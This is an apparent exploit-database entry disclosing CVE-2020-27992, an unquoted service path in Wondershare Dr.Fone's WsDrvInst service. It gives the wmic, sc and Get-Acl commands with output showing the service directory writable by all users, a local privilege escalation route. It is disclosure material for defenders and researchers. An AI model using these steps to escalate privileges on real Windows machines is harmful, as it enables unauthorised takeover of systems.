# Exploit Title: Wondershare Dr.Fone DriverInstall.exe - "WsDrvInst" Unquoted Service Path
# Date: 2020-10-29
# Exploit Author: Andrea Intilangelo
# Vendor Homepage: https://www.wondershare.com
# Software Link: https://drfone.wondershare.com/
# Version: 3.0.0
# Tested on: Microsoft Windows 7sp2 x86/x64
# CVE : CVE-2020-27992
- C:\>wmic service get name,displayname,pathname,startmode |findstr /i "auto" |findstr /i /v "c:\windows\\" |findstr /i /v """
Wondershare Driver Install Service WsDrvInst C:\Program Files (x86)\Wondershare\dr.fone\Library\DriverInstaller\DriverInstall.exe Auto
- C:\>sc query WsDrvInst
NOME_SERVIZIO: WsDrvInst
TIPO : 10 WIN32_OWN_PROCESS
STATO : 4 RUNNING
(STOPPABLE, NOT_PAUSABLE, ACCEPTS_SHUTDOWN)
CODICE_USCITA_WIN32 : 0 (0x0)
CODICE_USCITA_SERVIZIO : 0 (0x0)
PUNTO_CONTROLLO : 0x0
INDICAZIONE_ATTESA : 0x0
- Get-Acl -Path "C:\Program Files (x86)\Wondershare\dr.fone\Library\DriverInstaller"
Directory: C:\Program Files (x86)\Wondershare\dr.fone\Library
Path Owner Access
---- ----- ------
DriverInstaller BUILTIN\Administrators BUILTIN\Users Allow FullControl...
